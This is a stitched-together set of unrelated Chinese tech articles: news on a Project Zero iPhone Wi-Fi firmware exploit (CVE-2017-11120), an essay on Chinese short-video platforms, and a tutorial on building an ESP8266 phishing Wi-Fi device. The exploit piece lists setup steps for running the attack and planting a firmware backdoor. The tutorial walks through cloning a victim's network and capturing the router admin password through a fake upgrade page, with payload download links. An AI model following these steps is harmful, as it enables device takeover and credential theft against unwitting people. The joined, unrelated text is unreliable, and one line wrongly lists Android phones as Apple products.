* 参考来源:michalspacek,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM

本周,谷歌 Project Zero 项目的研究员 Gal Beniamini 公布了 iPhone Wi-Fi 固件的漏洞利用 POC。这个漏洞(CVE-2017-11120)是个内存损坏(memory corruption)漏洞,存在于 iPhone 和其他苹果产品(Android 手机、Apple TV 、 Apple Watch 和其他智能 TV 等)所使用的 Broadcom 芯片中,影响 iOS 10 及更早的 iOS 版本。本周 iOS 11 版本发布后,漏洞才修复。

iPhone 的 Wi-Fi 芯片漏洞利用 POC 都公布

攻击详情

攻击者只需 iPhone 的 MAC 地址或网络端口 ID, 就可以利用这个漏洞,在目标设备中执行恶意代码并建立后门,进而向固件发出远程读/写命令,轻松实现远程控制 Wi-Fi 芯片。入侵成功之后,攻击者 “可以与后门进行交互,通过分别调用 ‘read_dword’ 和 ‘write_dword’ 功能获得对固件的读 / 写访问。”

Beniamini 发布的漏洞报告称:

该漏洞利用 iPhone 7 上的 Wi-Fi 固件进行代码执行,存档的密码是 “rrm_exploit”。这个漏洞利用已经针对 iOS 10.2(14C92) 上的 Wi-Fi 固件进行了测试,但可以适用于包括 iOS 10.3.3 及以下的所有 iOS 版本,只是其中有些符号可能需要针对不同版本的 iOS 进行调整。此外, 9.44.78.27.0.1.56 版本中的 BCM4355C0 芯片系统也存在这个漏洞。

此前其实也出现过类似的漏洞,都是通过本地  Wi_Fi 网络远程接管智能手机:

今年 4 月份,Gal Beniamini 在 Broadcom WiFi SoC(芯片软件)中发现的漏洞;

今年夏天 Exodus Intelligence 研究员 Nitay Artenstein 披露的影响 Broadcom BCM43xx 系列 WiFi 芯片的 BroadPwn 关键远程代码执行漏洞(CVE-2017-3544);

因为目前尚未有办法检测用户的设备是否在运行有漏洞的 BCM4355C0 版本固件,最好的办法还是将 iPhone 更新到没有漏洞的 iOS 11 版本。在最新的 tvOS 版本中,苹果也修复了这个漏洞。此外,本月初 Google 也在 Android 安全公告 2017-09-05 中修复 Nexus、Pixel 设备以及 Android 设备上解决了这个问题,不过安卓用户需要耐心等待手机厂商更新。

iPhone 的 Wi-Fi 芯片漏洞利用 POC 都公布

POC 重点及档案下载

6 月份  Beniamini 就已经发现并提交了这个漏洞,他在 Project Zero 网页中记录了这个问题:

Broadcom 固件中有一个典型的 RRM Neighbor 报告响应框架:

RRM Neighbor Report Response 框架.png

RRM Neighbor 报告响应框架

在固件版本为 9.44.78.27.0.1.56 的 BCM4355C0 SoC 上,RRM 相邻报告响应框架由 RAM 函数 0x1B0FE8(代表 ROM 函数 0xABBBC)处理。 此函数主要可以验证对话令牌(这是一个单字节字段,如果攻击者提前不知道也可以轻易暴力破解)。 然后,该函数将 Neighbor 报告响应框架的内容复制到堆分配的缓冲区中,随后调用 0xAC0A8 的内部 ROM 功能,以存储每个给定的“操作类”(见9.4.2.37)的 Neighbor 数目。

以下是这个函数的近似高级逻辑:

int function_AC0A8(..., uint8_t* nrrep_buffer, ...) {

  ...

  //Find and increment neighbor in given channel for given OP-Class

  int res = function_AC07C(..., nrrep_buffer, ...);

  //If there's no entry for the given OP-Class, create and populate it

  if (!res) {

    uint8_t* buffer = malloc(456);

    if ( !buffer ) {

      ...

    }

    else {

      buffer[4] = nrrep_buffer[16];              //Operational Class

      uint8_t channel_number = nrrep_buffer[17]; //Channel Number

      uint16_t* chan_neighbor_count_arr = (uint16_t*)(buffer + 6);

      chan_neighbor_count_arr[channel_number]++;      

      ...

    }

  }

  ...

}

如上所述,该固件保存了缓冲区的链接列表,每个“操作类别”都有一个列表。 每个缓冲区长为 456 字节,用于保存含有每个通道 Neighbor 数目的数组。 输入条目的结构如下:

结构.png

然而,由于“通道数目”字段未被验证,所以攻击者可以任意地提供较大的值。 当最大允许通道数目为 0xE0 时,通过提供较大的值(如 0xFF),上述函数会将 16 位 word 增加到超出堆分配缓冲区的边界,从而执行 OOB 写入操作。 请注意,内部函数 0xAC07C 中也存在相同的未验证问题。

在漏洞报告中,Beniamini 还分享了重要档案和漏洞利用步骤:

所附档案包含以下目录:

-hostapd-2.6 :在exploit中使用 的hostapd 的修改版本。此版本的 hostapd 为配置可以支持802.11k RRM,尤其支持 Neighbor 报告。而且,这个版本的 hostapd 可用于添加各种命令,同时可实现整个漏洞利用过程中使用的动作框架的注入和接收;

-exploit:即 exploit 本身。

要实现漏洞利用,必须执行以下步骤:

   - 将 SoftMAC 无线 dongle 连接到计算机并启用(如TL-WN722N)

   - 编译提供的 hostapd 版本

   - 修改“hostapd-2.6 / hostapd / hostapd.conf”下的“界面”设置,与你的界面名称相匹配;

   - 在“exploit / conf.py”下方设置以下设置:

    -HOSTAPD_DIR :上述编译的 hostapd 二进制目录

    -TARGET_MAC :被入侵设备的 MAC 地址

    -AP_MAC :你的无线 dongle 的 MAC 地址

    -INTERFACE – 你的无线 dongle 界面的名称

   - 通过运行“exploit / assemble_backdoor.sh”来组合后门 shellcode

   - 运行 hostapd 以及上面提供的配置文件,广播 Wi-Fi 网络(“test80211k”)

   - 将目标设备连接到网络

   - 运行“exploit / attack.py”

按照上述步骤,可以安装简易后门,对固件进行读/写。还可以与后门进行交互,通过分别调用 “read_dword” 和 “write_dword” 功能来获得对固件的R / W访问。

感兴趣的读者可以点击这里查看 Gal Beniamini 发布的原文并下载相关文档:

链接: https://pan.baidu.com/s/1cjOoLS 密码: s482

*参考来源:TheHackNewsGoogle Project Zero,AngelaY 编译,转载请注来自 FreeBuf.COM

1.jpg

近年来,短视频风口渐盛,引来腾讯、阿里、微博、今日头条等众多巨头投身红海。为了能在短视频领域中拥有绝对的话语权,一场巨头短视频争夺大战就这样轰轰烈烈地展开了。

头条系短视频点燃短视频大战,但受限于格局

早在2015年的时候,今日头条就进行“千人万元”的短视频扶持计划了,而在去年9月份,今日头条再次宣布投入10亿元来对“头条号”进行短视频内容的扶持,今年5月16日,今日头条又宣布投入10亿的资金来扶持火山小视频,由此可看出,自始至终,今日头条都是通过补贴来扶持短视频内容创作者来提高平台流量,而这也是打开平台知名度的第一步。

此外,为了能在短视频大战中拔得头筹,今日头条开始向外实行“挖人计划”。今年5月,快手网络主播天佑被头条系的火山小视频以2000万的高价挖走,其他一些网红主播也被头条系短视频以不同的价码挖走,意图以此来吸引更多的用户。从扶持到挖人,今日头条对短视频的把握全然以“人”为核心,这也可以看出,今日头条相信更多头部创作者的加入会成为致胜的关键。

在短视频应用上,今日头条内有火山小视频、西瓜视频和抖音视频对外攻击,外有Tiki作为防守,对短视频进行由内而外的全面布局。为了能成为短视频领域中的领军人物,今日头条还制定了“全球化”战略,通过对产品内容板块的资源进行整合扩张,来实现短视频内容、头条直播、广告页面和专题等多种板块的合理分配。全球化战略的提出和落实针对的不仅是流量上的相互导入,更是对短视频结合形式多样化的一种思考。

当然,所有的布局都是为了更好地击败对手。不久前,头条系中的火山小视频和抖音更是对快手展开了一场合围厮杀,由火山小视频在四川一个小山村举办发布会,开始向农村方向进军,力图动摇快手的农村根据地,继而抖音则开始自上而下培养明星网红,想要截断快手向一、二线城市进军的道路。

只是,今日头条将大部分的精力都放在了短视频上,整日以如何让短视频获得更多关注度为主,极少去思考这样做对短视频的长久发展是否有用,如果用户新鲜感一过就会产品审美疲劳,在短视频内容创作已逐渐步入工厂流水式生产的时代,这不利于头条系短视频的长远发展。

微博与一下科技携手打天下,自身定位拖后腿

在短视频领域上,微博与秒拍形成合作战略关系,在2016年3月微博专门出台“短视频作者扶持计划”,并于同年9月拿出一亿美元来扶持短视频,微博给秒拍提供了播放平台,使得秒拍在某种程度上拥有了微博庞大的用户群体,同时弥补了微博短视频的不足,为微博带来许多新的用户。

此外,微博的“盟友”一下科技对秒拍投入了10亿人民币的资助,让秒拍在各方面的发展都有了最基本的保障,秒拍通过提高短视频的内容质量及鼓励短视频的原创来提高自己的点击率和用户量,这加大了微博自身在短视频战场上对决的砝码。

目的很明确,微博想通过与一下科技旗下的秒拍、小咖秀、一直播合作将PGC与UGC结合打造成一个优质集合体,且在今年4月份微博推出了具有短视频功能的“微博故事”,逐渐将短视频的内容创作推向个性化方向,以差异化赢得更多的市场。

为了让微博的短视频内容生态比之前更具有活跃度,微博在内容结构上实施产品内容的垂直化,这加大了视频创作者与用户之间的粘性。此外,微博的内容板块形成文字+图片+直播或文字+图片+视频等多种形式,通过对短视频的引流,实现二次崛起。

值得注意的是,微博与头条系短视频的抖音存在比较明显的对抗关系,自抖音火起来之后,一下科技中的小咖秀在其应用中加入了与抖音功能相似的晃咖,以此来对战今日头条。

只是微博太过依赖于一下科技,自家短视频应用不给力,导致微博始终处在一个比较被动的位置,而微博故事还不足以支撑微博用户在短视频上的需求。且微博是一个社交媒体平台,微博只是短视频的搬运工,将短视频从各个短视频平台搬来自己的平台上发布,在某种意义上来说,只是社交中的一种调味剂。

腾讯携快手加入短视频大战,然因标签化难推广

今年三月份的时候腾讯宣布对快手进行3.5亿美元的融资,推出了“芒种计划”,自媒体可以通过腾讯旗下的其他平台来发布内容,且腾讯还对原创内容给予2亿元的补贴,而且个人在平台赚取的费用,平台不多加干预,通过这个方式来拉拢优质短视频的原创者,从内容上对短视频进行布局,争抢流量入口。

此外,为了能在短视频领域站稳脚跟,腾讯还对快手的推广采用了“两两结合”模式,将快手与腾讯的一系列产品结合,形成类似快手+QQ空间的格局,增加了快手的点击率和用户量。通过将各种流量入口打包给快手,腾讯在短视频领域的野心非常明显,进一步加强短视频社交对用户的吸引,同时也巩固自身社交巨头的地位。

腾讯对短视频的思考也离不开死灰复燃的微视。不久前,腾讯将微视复活,与今日头条旗下的抖音和一下科技的晃咖在功能上有其相似之处的微视,由此加入这一类以音乐为定位的短视频领域,意在从垂直化领域切入,挑战抖音等对手的地位。

然而,快手有一个固定化的标签,其短视频内容不够优质,受众群体比较集中,存在局限性,这个标签本身对快手向一、二线城市推广就存在阻碍,且快手并没有内容分享功能,用户性质的高度细分和单一也限制了快手内容的传播,这使得腾讯在短视频大战上难免有些施展不开。

阿里对土豆进行短视频转型,迟入局是硬伤

今年3月底,阿里巴巴宣布将土豆网向短视频转型,据了解,为了推动土豆短视频的发展,阿里出资20亿元实施“大鱼计划”,用以推动PUGC视频的发展。创作者可以通过制作优秀的短视频内容来获取利益的收入,如果发布的内容影响力够大,创作者可以与土豆、优酷和UC一起分摊其广告投放带来的收益,这就为短视频内容的创作者提供了创作的动力,加强了阿里在短视频的对战能力。

对比来看,这与优酷内容推广计划如出一辙,与今日头条等扶持计划有所不同的是,以广告这种成熟变现模式来计算短视频的收益是一种比较稳健的做法,有利于区分短视频内容的优劣。

而在对土豆短视频的传播中,阿里旗下的多方平台可以使短视频实行由一点进行接入,由多面实施播放的推广方式,如旗下的天猫、淘宝等都可以为土豆短视频提供播放渠道,实施由短视频+电商这一新模式。同时,为了让更多的用户在观看短视频的时候没有太多的顾虑,土豆短视频联合中国联通、中国电信和中国移动推出一系列免费或低价的指定产品,这提高了短视频的点击率,为阿里在短视频大战中加持护体。

然而,短视频大战已经进入下半场,阿里此时入局短视频能抢占的资源并不多了,因为人们在使用短视频上都已经形成一个习惯,此刻入局则更难获得用户关注并吸引流量,且土豆短视频转型的不够彻底,还保留着原来的特色,如今人们提到土豆想到的是视频播放器而不是短视频平台,对进军短视频的阿里来说,在场内高手如云的情况下,仍然需要在内容和渠道上多下功夫。

看似繁荣的背后短视频问题日益凸显

从巨头在短视频领域的各种花式操作来看,大抵有贴钱和流量入口两种扶持方式。如此来看,短视频大战倒更像是一场建立在资本上的游戏,但正因如此,激战正酣的短视频战场也出现了一些难以解决的问题。

随着投资者和创业者对短视频的不断投入,短视频进入了产品同质化、内容低俗化的恶性循坏之中,如腾讯复活的微视与抖音、晃咖等短视频应用的功能相似,且如今就连火山小视频也逐渐向快手靠近,而这类短视频应用功能的同化将给用户带来视觉上的审美疲劳。

由于投资者和创业者的急功近利,导致在开始布局加入短视频领域时企业只求速度不看质量,转型的土豆短视频就是如此,为了能快速进入短视频领域,导致对产品的切割做的不够彻底,土豆短视频还保留着原来的视频、综艺等板块内容,这会造成用户的分流,不利于土豆短视频的整合。

此外,在短视频的制作上多为粗制滥造的作品,短视频内容进入一个低俗的怪圈,这不利于短视频长期发展。短视频的泛滥给短视频市场带来了一场不小的打击,劣质内容的不断生产只会让短视频深陷泥潭。

如今,短视频已经进入一个“极盛”的阶段,若没有相关解决方案,短视频将如同直播一般渐渐冷却,已经退场的啪啪奇、微可拍就是很好的例子。

群雄混战下,短视频未来如何前进?

从巨头们的不断加码来看,短视频短时间内会成为内容领域的主要战场之一,而在这个只有巨头玩得起游戏的领域,短视频将如何前行?

首先,短视频在其内容上将走高品质的路线,娱乐化与知识化的结合将成为未来短视频内容的发展方向,如通过调侃的方式来讲述茶文化等等,在娱乐的同时又不失内涵才是短视频长久发展的关键。

其次,要短视频不要过多的依赖于网红主播,这对短视频应用而言是极其不利的,要以自身的优势部分来吸引用户而不是靠大V来拴住用户,在这方面快手就做的很好,在火山小视频将快手的一位大V天佑挖走之后对快手并没有多大的影响,这是因为在快手上的用户很大程度上并不是奔着主播去的,而是奔着内容去的。

最后在对短视频的推广上,支持短视频的下载与分享,在看到一些优质短视频的时候,用户可以对相应的短视频进行下载保存,也可以将高品质的短视频分享给更多用户知道,这样做有利于优质内容的传播。且企业还可以由此来作为考察优质短视频的一则选项,通过对这一选项的考察来对优质短视频实行扶持计划。

总而言之,短视频平台要想凌驾于其他平台之上,除了要迎合广大网友的需求和适应社会发展之外,还要做到上述几个方面。如今,短视频大战的下半场也逐渐落幕,从今日头条、微博、腾讯、阿里在短视频大战中的布局来看,他们以通过弥补自身在短视频上的不足之处和对外加码来强化在短视频上的战斗能力,而最终谁能上演马太效应,成为短视频领域里的霸主,相信不久就会有答案。

刘旷,以禅道参悟互联网、微信公众号:liukuang110

其实关于esp8266网上有许多教程,好多前辈玩这个已经好多年了,但为了给像我这样的小白系统的解决制作过程中的一些问题,我还是写出来。

我自己也是刚开始玩,如有不对的地方还请大神们多多指教。在此感谢iangzy,老王,歪哥为我解决了一些制作过程中的问题。

1eps8266模块

首先当然你要有一块eps8266模块,像这样的,最好是有底板的,带Micro口的,这些淘宝上都可以搜到的,我的就是淘宝上买的,大概30-40RMB左右,当然,如果你的动手能力比较强的话可以自己做底板。

如何用esp8266做个钓鱼wifi

2.如何将固件下载到esp8266中

在这里你需要下载两个东西,就是Flash下载工具和固件

Flash下载工具:http://espressif.com/zh-hans/support/download/other-tools

固件我这里用的是iangzy做的https://pan.baidu.com/s/1qYI3TaG  密码:abwq

将自己的esp8266插到电脑上,确定连接没问题的话打开设备管理器看下自己的串口是多少,我这边是COM6

如何用esp8266做个钓鱼wifi

将下载的Flash下载工具解压,打开ESPFlashDownloadTool_v3.4.9.2.exe,打开是这样的,选择esp8266 DownloadTool

 如何用esp8266做个钓鱼wifi

在这里需要注意的几点是:

(1)固件选择之前下载的固件DNS.ino.ino.nodemcu.bin。

(2)地址输入0×00000(可能地址这一栏出现红色的状况,导致无法烧入固件,此时把下载器关了重启下,然后把地址那栏清空再自己手动输入就好了)。

(3)这边需要将DoNotChgBin勾选起来,否则烧入固件后可能没有wifi,当然不同的板子可能不太一样,这个请大家自行测试。

(4)这边串口按照自己之前查的选择就行了,波特率115200就可以了。

其他设置按照红框里面的选择就行

如何用esp8266做个钓鱼wifi

设置完这些后就点击START开始烧flash,烧完后如果模块正常的话电脑会多出来一个叫HH的wifi,这个wifi就是esp8266发出来的。

如果没有显示HH,就按下esp8266的RST键复位,等个几秒钟就会显示出来。此时你就可以连接HH了。wifi的密码为:m1234567

(注:如果通过上面的方法还没有显示wifi的话,你可以试试擦除flash,擦除flash的方法请参考:http://bbs.eeworld.com.cn/thread-497588-1-1.html

在这里我就不详述了,擦完大概是这个样子,然后重新按照上面的步骤烧flash就可以了。 )

如何用esp8266做个钓鱼wifi

3.用arduino上传web到esp8266

到arduino官网下载适合你自己系统的软件:https://www.arduino.cc/en/Main/Software

web源码:http://pan.baidu.com/s/1miywNTu

web源码上传工具:http://pan.baidu.com/s/1o8cEc7g

我的是Windows系统,arduino版本是1.8.4,安装完后打开工具——开发板——开发板管理器,此时会自动更新,过个数分钟更新完毕后(当然,如果用外网的话可能几秒钟就能解决),搜索eps8266,选择第二个,版本选2.2.0,然后安装。

如何用esp8266做个钓鱼wifi

将上面解压后的web源码上传工具的tools放到Arduino根目录里合并,然后返回以下界面,点击文件——新建,新建一个项目,将里面的代码清空,然后点击文件——保存,将项目保存到一个你能找到的位置,点击工具——esp8266 sketch data upload,会出现以下的提示,选择No,会发现新建的项目中多出来一个data文件夹,里面是空的,然后将上面下载的web源码\data里面的三个文件复制到这个文件夹里面。

如何用esp8266做个钓鱼wifi

然后再返回arduino,点击工具,开发板按照自己买的选择,端口选择自己的端口,其他设置如下图红框里面的。

如何用esp8266做个钓鱼wifi

设置完后点击esp8266 sketch data upload,这时不会出现提醒,开始上传web页面,等个1分钟左右esp8266上的蓝灯不闪烁了就表示上传完了。

然后电脑连接HH的wifi,浏览器输入192.168.1.1/backdoor.html就能进入web页面了,如下图,路由器型号选择通用型,然后输入你测试的wifi编号,点确定,电脑提示SSID伪造成功,手机就会发现出现了个和你测试的wifi一样的没有加密的wifi,原来的HH会不见了,8266的蓝灯常亮,手机连接那个wifi后过几秒会自动弹出路由器升级的页面,然后输入管理员密码,点击开始升级,此时你的esp8266会将管理员密码保存,升级完后,8266的灯就会灭掉。

如何用esp8266做个钓鱼wifi

电脑重新连接HH,进入web页面后管理员密码会在下面的红框这一块显示,这时,就表示获取密码成功了。

如何用esp8266做个钓鱼wifi

到此,整个esp8266制作钓鱼wifi的教程到此结束,祝大家玩的开心!!!

 如有兴趣的童鞋也可以加群:450605307,这个只是免费版的web,如有需要其他的web,可以联系iangzy,大家一起讨论研究,iangzy班长也正在筹备最小系统板,如有需要,可以向他联系。

参考文章:http://www.freebuf.com/news/141922.html(利用esp8266制作一个可随身携带的WiFi密码钓鱼器)

*本文作者:天使之神,转载请注明来自 FreeBuf.COM